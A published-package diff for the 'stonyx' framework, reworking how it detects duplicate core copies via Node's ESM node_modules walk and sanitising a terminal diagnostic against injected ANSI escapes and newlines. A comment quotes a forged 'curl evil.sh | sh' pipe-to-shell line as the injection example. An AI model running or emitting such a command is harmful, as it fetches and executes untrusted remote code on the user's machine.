stonyx 0.2.3-alpha.54 → 0.2.3-alpha.56

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -27,42 +27,95 @@ export interface ForeignCore {
27
27
  */
28
28
  export type InconclusiveReporter = (message: string) => void;
29
29
  /**
30
- * True exactly for the directories Node's own bare-specifier walk emits.
30
+ * The directories ESM consults for a bare specifier, in the order it consults
31
+ * them: `<d>/node_modules` for every ancestor-or-self `d` of `fromDir`.
31
32
  *
32
- * `require.resolve.paths(x)` returns the walk FOLLOWED BY the CJS global
33
+ * THE RESOLVER BEING MODELLED IS ESM. `loadModules` reaches every module
34
+ * through `await import`, so the copy of `stonyx` a module "would import" is
35
+ * whatever ESM's PACKAGE_RESOLVE finds — not whatever CJS finds. This function
36
+ * is generated rather than filtered, and that is the fix for a defect in each
37
+ * direction.
38
+ *
39
+ * TOO WIDE, the previous defect. The candidates used to come from
40
+ * `require.resolve.paths`, which is the CJS walk FOLLOWED BY the CJS global
33
41
  * folders — `NODE_PATH`, `~/.node_modules`, `~/.node_libraries`, the node
34
42
  * prefix. ESM ignores every one of those, so honouring them invents a
35
43
  * "duplicate" out of an ambient environment variable that the real import never
36
44
  * consults. This workspace exports `NODE_PATH` at a different `stonyx`
37
45
  * (abofs/stonyx#107), so that false positive is not hypothetical: it flips a
38
- * tree that boots into a hard refusal.
39
- *
40
- * The predicate is the walk's own shape, and it is EXACT rather than
41
- * approximate. Node emits `<d>/node_modules` for every ancestor-or-self `d` of
42
- * the starting directory, and never descends into a directory already named
43
- * `node_modules`. So a candidate qualifies iff it is named `node_modules`, its
44
- * parent is not, and its parent is an ancestor-or-self of the module dir. Any
45
- * global-folder entry meeting all three is by construction already in the walk,
46
- * so admitting it changes nothing; every other one is dropped.
47
- *
48
- * The PREVIOUS form tested only `dirname(candidate)` against the module dir.
49
- * For a real walk entry that is the package root and the test holds by
50
- * construction — but for a `NODE_PATH` entry the candidate is a raw directory,
51
- * so `dirname` is its PARENT, and any module dir under that parent passed. It
52
- * went green on macOS only because `os.tmpdir()` yields `/var/folders/...`
53
- * while the resolved module dir is `/private/var/folders/...`, so the prefix
54
- * comparison missed on `/private` rather than on non-ancestry. It reds on
55
- * Linux, and it reds on macOS the moment `TMPDIR` is realpath-clean.
56
- *
57
- * `Module.globalPaths` would express the same restriction by PROVENANCE rather
58
- * than by shape, and it was measured working at runtime — but `@types/node@25`
59
- * does not declare it, so it needs an untyped cast whose `?? []` fallback
60
- * silently restores the defect if the undeclared property ever moves. This form
61
- * typechecks natively and admits the identical set.
62
- *
63
- * `moduleDir` must already be realpath'd; `coreSeenBy` does that first.
46
+ * tree that boots into a hard refusal. Generating the walk REMOVES that failure
47
+ * mode rather than screening for it — nothing here reads the environment, so
48
+ * there is no list to get the screen wrong on.
49
+ *
50
+ * TOO NARROW, and this one was a SILENT MISS. WHICH CJS ENUMERATION IS MEANT
51
+ * IS PART OF THE CLAIM, because the two are not the same set: the walk PROPER
52
+ * is `Module._nodeModulePaths`, and `require.resolve.paths` is that walk
53
+ * FOLLOWED BY the global folders of the paragraph above. It is the walk proper
54
+ * that never descends into a directory already named `node_modules`. **ESM's
55
+ * PACKAGE_RESOLVE has no such skip.** Measured with no `NODE_PATH` at all,
56
+ * from a module at `<app>/node_modules/@stonyx/x`:
57
+ *
58
+ * import.meta.resolve('stonyx') -> <app>/node_modules/node_modules/stonyx/main.js
59
+ * await import('stonyx') -> that copy
60
+ * require.resolve('stonyx') -> MODULE_NOT_FOUND
61
+ *
62
+ * A genuine second core there was missed silently. Worse, because ESM reaches
63
+ * the ancestor `<app>/node_modules` BEFORE `<app>`, that copy SHADOWS a correct
64
+ * local core at `<app>/node_modules/stonyx` while the pre-flight reported
65
+ * success — this file's own opening paragraph ("it loads, it initialises, it
66
+ * reports success, and its hooks silently never fire") surviving the check
67
+ * written to catch it. Isolating control, moving nothing but the directory: the
68
+ * same core at `<app>/node_modules/@stonyx/x/node_modules/stonyx` was REFUSED.
69
+ *
70
+ * THE SET DELTA, both directions and named per enumeration — node v24.13.0,
71
+ * from that same module dir. Against the WALK PROPER the difference is one
72
+ * directory and it is one-sided: `esm \ Module._nodeModulePaths` = exactly
73
+ * `<app>/node_modules/node_modules` (the miss above), and
74
+ * `Module._nodeModulePaths \ esm` = `[]`. Against `require.resolve.paths` the
75
+ * second direction is NOT empty and never was: `require.resolve.paths \ esm` =
76
+ * the three global folders (measured here: `~/.node_modules`,
77
+ * `~/.node_libraries` and the node prefix, all three absent on disk) PLUS one
78
+ * entry per `NODE_PATH` component, four more as this workspace exports it. That tail IS the "too wide" defect above, measured rather than
79
+ * argued, and it is why an unqualified "the CJS candidates are the same" is
80
+ * true of one enumeration and false of the other.
81
+ *
82
+ * BOUNDED BY ANCESTRY, not by a rule. `<app>/node_modules/node_modules` is a
83
+ * candidate because `<app>/node_modules` is an ancestor of the module dir; two
84
+ * levels of nesting is not a candidate, because
85
+ * `<app>/node_modules/node_modules` is not an ancestor of it. Measured: a core
86
+ * planted two levels deep resolves to the real core, and is correctly ignored.
87
+ *
88
+ * THE REJECTED ALTERNATIVE, and the correction that goes with it. While the
89
+ * candidates still came from `require.resolve.paths`, `Module.globalPaths` was
90
+ * reviewed as the screen instead of a shape test, and rejected here on typing
91
+ * grounds plus the claim that the two "admit the identical set". MEASURED, that
92
+ * claim is FALSE, and false in the direction that matters: `globalPaths` filters
93
+ * by STRING MEMBERSHIP, so whenever `NODE_PATH` names a directory that is also
94
+ * a genuine walk entry, the provenance screen drops the walk entry too. Pointed
95
+ * at `<app>/node_modules` with a real second core inside it:
96
+ *
97
+ * NODE_PATH=<app>/node_modules provenance -> no core found
98
+ * shape -> 0.0.0-APP-LOCAL-SECOND-CORE
99
+ * NODE_PATH unset (control) provenance -> 0.0.0-APP-LOCAL-SECOND-CORE
100
+ * shape -> 0.0.0-APP-LOCAL-SECOND-CORE
101
+ *
102
+ * That is a false NEGATIVE on the commonest tree there is — a second core in
103
+ * the app's own `node_modules` going invisible the moment a developer exports
104
+ * `NODE_PATH` at it. So the rejection was right and the stated reason was not:
105
+ * it is not an equal-but-untyped alternative, it is a narrower one that would
106
+ * have introduced a miss. Generating the walk retires the question entirely —
107
+ * there is no list to screen and no environment read — which is why neither
108
+ * screen survives here.
109
+ *
110
+ * ORDER IS LOAD-BEARING — it is what makes the shadowing case detectable, since
111
+ * the first candidate carrying a core is the one returned. It is Node's own
112
+ * order, verified positionally rather than assumed: a distinct core planted in
113
+ * each of the first four candidates and removed one at a time, `await import`
114
+ * selecting exactly this sequence.
115
+ *
116
+ * `fromDir` must already be realpath'd; `coreSeenBy` does that first.
64
117
  */
65
- export declare function isWalkEntry(candidate: string, moduleDir: string): boolean;
118
+ export declare function esmNodeModulesWalk(fromDir: string): string[];
66
119
  /**
67
120
  * The nearest ancestor of `startDir` that OWNS a `package.json`, reported only
68
121
  * if that package is `stonyx`.
@@ -86,23 +139,20 @@ export declare function runningCore(report?: InconclusiveReporter): CorePackage
86
139
  /**
87
140
  * The `stonyx` copy a package installed at `moduleDir` would import.
88
141
  *
89
- * `require.resolve.paths('stonyx')` gives Node's own `node_modules` walk for a
90
- * bare specifier, which ESM and CJS share — and unlike `require.resolve` it
91
- * does not consult the target's `exports` map, so a module whose nested core
92
- * is present but unbuilt is still detected rather than silently skipped.
93
- *
94
- * TWO deliberate narrowings:
95
- *
96
- * - `moduleDir` is realpath'd FIRST. Under pnpm, `<app>/node_modules/@stonyx/orm`
97
- * is a symlink into `.pnpm/@stonyx+orm@v/node_modules/@stonyx/orm`, and Node
98
- * resolves that symlink before resolving the module's own imports. Walking
99
- * the symlink path instead reads the app's flat `node_modules` and reports
100
- * the running core for every module — the check would pass vacuously on
101
- * exactly the installer `stonyx new` uses.
102
- * - Candidates are restricted to the entries Node's own walk emits, by
103
- * `isWalkEntry`. `require.resolve.paths` appends the CJS global folders
104
- * after the walk and ESM ignores every one of them; see that function for
105
- * why the predicate is what it is and what the previous one got wrong.
142
+ * The candidate set is `esmNodeModulesWalk` — Node's ESM walk, generated, in
143
+ * Node's order — because ESM is the resolver `loadModules` actually uses. The
144
+ * first candidate that carries a `stonyx` package root wins, which is exactly
145
+ * how PACKAGE_RESOLVE picks. Manifests are read directly rather than through
146
+ * `require.resolve`, so a module whose nested core is present but unbuilt is
147
+ * still detected rather than silently skipped by an `exports` map.
148
+ *
149
+ * ONE deliberate narrowing beyond the walk: `moduleDir` is realpath'd FIRST.
150
+ * Under pnpm, `<app>/node_modules/@stonyx/orm` is a symlink into
151
+ * `.pnpm/@stonyx+orm@v/node_modules/@stonyx/orm`, and Node resolves that
152
+ * symlink before resolving the module's own imports. Walking the symlink path
153
+ * instead reads the app's flat `node_modules` and reports the running core for
154
+ * every module — the check would pass vacuously on exactly the installer
155
+ * `stonyx new` uses.
106
156
  *
107
157
  * Returns `null` when no copy is reachable at all — "cannot tell", handled as
108
158
  * not-a-duplicate by `findForeignCores`. Manifests that exist but will not read
@@ -21,9 +21,8 @@
21
21
  * EXACTLY in their own `dependencies`, and an exact pin cannot dedupe against
22
22
  * a sibling's different exact pin.
23
23
  */
24
- import { createRequire } from 'node:module';
25
24
  import { readFileSync, realpathSync } from 'node:fs';
26
- import { basename, dirname, join, sep } from 'node:path';
25
+ import { dirname, join } from 'node:path';
27
26
  import { fileURLToPath } from 'node:url';
28
27
  /** Symlinks resolved so `/tmp/...` and `/private/tmp/...` — and pnpm's
29
28
  * `node_modules/x -> .pnpm/x@v/node_modules/x` — compare equal. */
@@ -37,48 +36,101 @@ function realPath(path) {
37
36
  }
38
37
  const IGNORE = () => { };
39
38
  /**
40
- * True exactly for the directories Node's own bare-specifier walk emits.
39
+ * The directories ESM consults for a bare specifier, in the order it consults
40
+ * them: `<d>/node_modules` for every ancestor-or-self `d` of `fromDir`.
41
41
  *
42
- * `require.resolve.paths(x)` returns the walk FOLLOWED BY the CJS global
42
+ * THE RESOLVER BEING MODELLED IS ESM. `loadModules` reaches every module
43
+ * through `await import`, so the copy of `stonyx` a module "would import" is
44
+ * whatever ESM's PACKAGE_RESOLVE finds — not whatever CJS finds. This function
45
+ * is generated rather than filtered, and that is the fix for a defect in each
46
+ * direction.
47
+ *
48
+ * TOO WIDE, the previous defect. The candidates used to come from
49
+ * `require.resolve.paths`, which is the CJS walk FOLLOWED BY the CJS global
43
50
  * folders — `NODE_PATH`, `~/.node_modules`, `~/.node_libraries`, the node
44
51
  * prefix. ESM ignores every one of those, so honouring them invents a
45
52
  * "duplicate" out of an ambient environment variable that the real import never
46
53
  * consults. This workspace exports `NODE_PATH` at a different `stonyx`
47
54
  * (abofs/stonyx#107), so that false positive is not hypothetical: it flips a
48
- * tree that boots into a hard refusal.
55
+ * tree that boots into a hard refusal. Generating the walk REMOVES that failure
56
+ * mode rather than screening for it — nothing here reads the environment, so
57
+ * there is no list to get the screen wrong on.
58
+ *
59
+ * TOO NARROW, and this one was a SILENT MISS. WHICH CJS ENUMERATION IS MEANT
60
+ * IS PART OF THE CLAIM, because the two are not the same set: the walk PROPER
61
+ * is `Module._nodeModulePaths`, and `require.resolve.paths` is that walk
62
+ * FOLLOWED BY the global folders of the paragraph above. It is the walk proper
63
+ * that never descends into a directory already named `node_modules`. **ESM's
64
+ * PACKAGE_RESOLVE has no such skip.** Measured with no `NODE_PATH` at all,
65
+ * from a module at `<app>/node_modules/@stonyx/x`:
66
+ *
67
+ * import.meta.resolve('stonyx') -> <app>/node_modules/node_modules/stonyx/main.js
68
+ * await import('stonyx') -> that copy
69
+ * require.resolve('stonyx') -> MODULE_NOT_FOUND
70
+ *
71
+ * A genuine second core there was missed silently. Worse, because ESM reaches
72
+ * the ancestor `<app>/node_modules` BEFORE `<app>`, that copy SHADOWS a correct
73
+ * local core at `<app>/node_modules/stonyx` while the pre-flight reported
74
+ * success — this file's own opening paragraph ("it loads, it initialises, it
75
+ * reports success, and its hooks silently never fire") surviving the check
76
+ * written to catch it. Isolating control, moving nothing but the directory: the
77
+ * same core at `<app>/node_modules/@stonyx/x/node_modules/stonyx` was REFUSED.
78
+ *
79
+ * THE SET DELTA, both directions and named per enumeration — node v24.13.0,
80
+ * from that same module dir. Against the WALK PROPER the difference is one
81
+ * directory and it is one-sided: `esm \ Module._nodeModulePaths` = exactly
82
+ * `<app>/node_modules/node_modules` (the miss above), and
83
+ * `Module._nodeModulePaths \ esm` = `[]`. Against `require.resolve.paths` the
84
+ * second direction is NOT empty and never was: `require.resolve.paths \ esm` =
85
+ * the three global folders (measured here: `~/.node_modules`,
86
+ * `~/.node_libraries` and the node prefix, all three absent on disk) PLUS one
87
+ * entry per `NODE_PATH` component, four more as this workspace exports it. That tail IS the "too wide" defect above, measured rather than
88
+ * argued, and it is why an unqualified "the CJS candidates are the same" is
89
+ * true of one enumeration and false of the other.
90
+ *
91
+ * BOUNDED BY ANCESTRY, not by a rule. `<app>/node_modules/node_modules` is a
92
+ * candidate because `<app>/node_modules` is an ancestor of the module dir; two
93
+ * levels of nesting is not a candidate, because
94
+ * `<app>/node_modules/node_modules` is not an ancestor of it. Measured: a core
95
+ * planted two levels deep resolves to the real core, and is correctly ignored.
96
+ *
97
+ * THE REJECTED ALTERNATIVE, and the correction that goes with it. While the
98
+ * candidates still came from `require.resolve.paths`, `Module.globalPaths` was
99
+ * reviewed as the screen instead of a shape test, and rejected here on typing
100
+ * grounds plus the claim that the two "admit the identical set". MEASURED, that
101
+ * claim is FALSE, and false in the direction that matters: `globalPaths` filters
102
+ * by STRING MEMBERSHIP, so whenever `NODE_PATH` names a directory that is also
103
+ * a genuine walk entry, the provenance screen drops the walk entry too. Pointed
104
+ * at `<app>/node_modules` with a real second core inside it:
49
105
  *
50
- * The predicate is the walk's own shape, and it is EXACT rather than
51
- * approximate. Node emits `<d>/node_modules` for every ancestor-or-self `d` of
52
- * the starting directory, and never descends into a directory already named
53
- * `node_modules`. So a candidate qualifies iff it is named `node_modules`, its
54
- * parent is not, and its parent is an ancestor-or-self of the module dir. Any
55
- * global-folder entry meeting all three is by construction already in the walk,
56
- * so admitting it changes nothing; every other one is dropped.
106
+ * NODE_PATH=<app>/node_modules provenance -> no core found
107
+ * shape -> 0.0.0-APP-LOCAL-SECOND-CORE
108
+ * NODE_PATH unset (control) provenance -> 0.0.0-APP-LOCAL-SECOND-CORE
109
+ * shape -> 0.0.0-APP-LOCAL-SECOND-CORE
57
110
  *
58
- * The PREVIOUS form tested only `dirname(candidate)` against the module dir.
59
- * For a real walk entry that is the package root and the test holds by
60
- * construction — but for a `NODE_PATH` entry the candidate is a raw directory,
61
- * so `dirname` is its PARENT, and any module dir under that parent passed. It
62
- * went green on macOS only because `os.tmpdir()` yields `/var/folders/...`
63
- * while the resolved module dir is `/private/var/folders/...`, so the prefix
64
- * comparison missed on `/private` rather than on non-ancestry. It reds on
65
- * Linux, and it reds on macOS the moment `TMPDIR` is realpath-clean.
111
+ * That is a false NEGATIVE on the commonest tree there is — a second core in
112
+ * the app's own `node_modules` going invisible the moment a developer exports
113
+ * `NODE_PATH` at it. So the rejection was right and the stated reason was not:
114
+ * it is not an equal-but-untyped alternative, it is a narrower one that would
115
+ * have introduced a miss. Generating the walk retires the question entirely —
116
+ * there is no list to screen and no environment read — which is why neither
117
+ * screen survives here.
66
118
  *
67
- * `Module.globalPaths` would express the same restriction by PROVENANCE rather
68
- * than by shape, and it was measured working at runtime — but `@types/node@25`
69
- * does not declare it, so it needs an untyped cast whose `?? []` fallback
70
- * silently restores the defect if the undeclared property ever moves. This form
71
- * typechecks natively and admits the identical set.
119
+ * ORDER IS LOAD-BEARING — it is what makes the shadowing case detectable, since
120
+ * the first candidate carrying a core is the one returned. It is Node's own
121
+ * order, verified positionally rather than assumed: a distinct core planted in
122
+ * each of the first four candidates and removed one at a time, `await import`
123
+ * selecting exactly this sequence.
72
124
  *
73
- * `moduleDir` must already be realpath'd; `coreSeenBy` does that first.
125
+ * `fromDir` must already be realpath'd; `coreSeenBy` does that first.
74
126
  */
75
- export function isWalkEntry(candidate, moduleDir) {
76
- if (basename(candidate) !== 'node_modules')
77
- return false;
78
- const owner = dirname(candidate);
79
- if (basename(owner) === 'node_modules')
80
- return false;
81
- return moduleDir === owner || moduleDir.startsWith(owner.endsWith(sep) ? owner : owner + sep);
127
+ export function esmNodeModulesWalk(fromDir) {
128
+ const walk = [];
129
+ for (let dir = fromDir;; dir = dirname(dir)) {
130
+ walk.push(join(dir, 'node_modules'));
131
+ if (dirname(dir) === dir)
132
+ return walk;
133
+ }
82
134
  }
83
135
  /**
84
136
  * `null` when nothing is there — the ordinary case while walking up.
@@ -149,23 +201,20 @@ export function runningCore(report = IGNORE) {
149
201
  /**
150
202
  * The `stonyx` copy a package installed at `moduleDir` would import.
151
203
  *
152
- * `require.resolve.paths('stonyx')` gives Node's own `node_modules` walk for a
153
- * bare specifier, which ESM and CJS share — and unlike `require.resolve` it
154
- * does not consult the target's `exports` map, so a module whose nested core
155
- * is present but unbuilt is still detected rather than silently skipped.
156
- *
157
- * TWO deliberate narrowings:
204
+ * The candidate set is `esmNodeModulesWalk` — Node's ESM walk, generated, in
205
+ * Node's order — because ESM is the resolver `loadModules` actually uses. The
206
+ * first candidate that carries a `stonyx` package root wins, which is exactly
207
+ * how PACKAGE_RESOLVE picks. Manifests are read directly rather than through
208
+ * `require.resolve`, so a module whose nested core is present but unbuilt is
209
+ * still detected rather than silently skipped by an `exports` map.
158
210
  *
159
- * - `moduleDir` is realpath'd FIRST. Under pnpm, `<app>/node_modules/@stonyx/orm`
160
- * is a symlink into `.pnpm/@stonyx+orm@v/node_modules/@stonyx/orm`, and Node
161
- * resolves that symlink before resolving the module's own imports. Walking
162
- * the symlink path instead reads the app's flat `node_modules` and reports
163
- * the running core for every module — the check would pass vacuously on
164
- * exactly the installer `stonyx new` uses.
165
- * - Candidates are restricted to the entries Node's own walk emits, by
166
- * `isWalkEntry`. `require.resolve.paths` appends the CJS global folders
167
- * after the walk and ESM ignores every one of them; see that function for
168
- * why the predicate is what it is and what the previous one got wrong.
211
+ * ONE deliberate narrowing beyond the walk: `moduleDir` is realpath'd FIRST.
212
+ * Under pnpm, `<app>/node_modules/@stonyx/orm` is a symlink into
213
+ * `.pnpm/@stonyx+orm@v/node_modules/@stonyx/orm`, and Node resolves that
214
+ * symlink before resolving the module's own imports. Walking the symlink path
215
+ * instead reads the app's flat `node_modules` and reports the running core for
216
+ * every module — the check would pass vacuously on exactly the installer
217
+ * `stonyx new` uses.
169
218
  *
170
219
  * Returns `null` when no copy is reachable at all — "cannot tell", handled as
171
220
  * not-a-duplicate by `findForeignCores`. Manifests that exist but will not read
@@ -173,10 +222,7 @@ export function runningCore(report = IGNORE) {
173
222
  */
174
223
  export function coreSeenBy(moduleDir, report = IGNORE) {
175
224
  const resolvedModuleDir = realPath(moduleDir);
176
- const candidates = createRequire(join(resolvedModuleDir, 'package.json')).resolve.paths('stonyx') ?? [];
177
- for (const nodeModulesDir of candidates) {
178
- if (!isWalkEntry(nodeModulesDir, resolvedModuleDir))
179
- continue;
225
+ for (const nodeModulesDir of esmNodeModulesWalk(resolvedModuleDir)) {
180
226
  const core = asCore(join(nodeModulesDir, 'stonyx'), report);
181
227
  if (core)
182
228
  return core;
@@ -216,13 +262,22 @@ export function findForeignCores(modules, core = undefined, report = IGNORE) {
216
262
  return foreign;
217
263
  }
218
264
  /**
219
- * Third-party manifest data is not trusted for display.
265
+ * NOTHING OFF DISK IS TRUSTED FOR DISPLAY — all three interpolated fields.
266
+ *
267
+ * `version` and the package root come from a manifest this app did not write.
268
+ * `moduleName` is narrower — it is a key from the app's own `devDependencies`,
269
+ * so forging it is an app author forging their own diagnostic — but it is
270
+ * rendered through the same `padEnd` table, and it caused the same two
271
+ * symptoms: seeded with ANSI escapes and embedded newlines it FORGED A
272
+ * COMPLETE TABLE ROW inside the diagnostic (`===> ALERT: run curl evil.sh |
273
+ * sh <===`, indented to match) and destroyed the column alignment, because the
274
+ * widths are computed from the raw multi-line label.
275
+ *
276
+ * It was left raw at three sites while its two neighbours were sanitised — the
277
+ * package ROOT derived from that same name is sanitised in the very same row.
278
+ * Two halves of one string treated differently is an oversight, not a
279
+ * judgement, so it is closed rather than argued down.
220
280
  *
221
- * `version` and the directory name both come off disk from a package this app
222
- * did not write, and both are echoed into a message a human reads in a
223
- * terminal. Seeded with ANSI escapes and embedded newlines, the raw value
224
- * FORGED ITS OWN LINES inside the diagnostic — `===> ALERT: run curl evil.sh |
225
- * sh <===`, indented to match — and destroyed the `padEnd` column alignment.
226
281
  * This renders BEFORE any module entry point is imported, so it is reachable
227
282
  * under `npm install --ignore-scripts`: the one mode in which no third-party
228
283
  * code has otherwise executed.
@@ -231,11 +286,19 @@ export function findForeignCores(modules, core = undefined, report = IGNORE) {
231
286
  * the message off screen either.
232
287
  */
233
288
  /**
234
- * Roots are clamped at `PATH_MAX` rather than at the version's 64. A root is
235
- * the one thing in this message a consumer acts on directly, and a truncated
236
- * path is worse than a long one — the version is a label, the path is an
289
+ * Roots are clamped at `PATH_MAX` rather than at the default 64. A root is the
290
+ * one thing in this message a consumer acts on directly, and a truncated path
291
+ * is worse than a long one — the version is a label, the path is an
237
292
  * instruction. Nothing longer than this can exist on the filesystems Node runs
238
293
  * on, so in practice a root is sanitised and never shortened.
294
+ *
295
+ * WHAT DECIDES THE LIMIT IS THE COLUMN, not the field's importance. The root is
296
+ * rendered LAST on its line and is never `padEnd`ed, so its length costs
297
+ * nothing but its own wrap. The module name and the version are both inside
298
+ * PADDED columns whose widths are the max over every row, so one long value
299
+ * there pushes every other row's remaining columns off screen. Those two take
300
+ * the tight default; a scoped `@stonyx/*` devDependency key is far short of it,
301
+ * so a real name is sanitised and never shortened either.
239
302
  */
240
303
  const PATH_LIMIT = 1024;
241
304
  function display(value, limit = 64) {
@@ -256,7 +319,7 @@ export function duplicateCoreMessage(foreign) {
256
319
  const [first] = foreign;
257
320
  if (!first)
258
321
  throw new Error('duplicateCoreMessage called with no foreign cores');
259
- const names = foreign.map(({ moduleName }) => `"${moduleName}"`).join(', ');
322
+ const names = foreign.map(({ moduleName }) => `"${display(moduleName)}"`).join(', ');
260
323
  const single = foreign.length === 1;
261
324
  // DISTINCT roots, not `foreign.length + 1`. Two modules that both resolve
262
325
  // the SAME nested copy are two rows and two copies, not three. Found by
@@ -267,7 +330,7 @@ export function duplicateCoreMessage(foreign) {
267
330
  const copies = new Set([first.runningCore.root, ...foreign.map(({ moduleCore }) => moduleCore.root)]).size;
268
331
  const rows = [
269
332
  ['running core', display(first.runningCore.version), display(first.runningCore.root, PATH_LIMIT)],
270
- ...foreign.map(({ moduleName, moduleCore }) => [`seen by "${moduleName}"`, display(moduleCore.version), display(moduleCore.root, PATH_LIMIT)]),
333
+ ...foreign.map(({ moduleName, moduleCore }) => [`seen by "${display(moduleName)}"`, display(moduleCore.version), display(moduleCore.root, PATH_LIMIT)]),
271
334
  ];
272
335
  const labelWidth = Math.max(...rows.map(([label]) => label.length));
273
336
  const versionWidth = Math.max(...rows.map(([, version]) => version.length));
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "stonyx",
3
- "version": "0.2.3-alpha.54",
3
+ "version": "0.2.3-alpha.56",
4
4
  "description": "Base stonyx framework module",
5
5
  "main": "dist/main.js",
6
6
  "types": "dist/main.d.ts",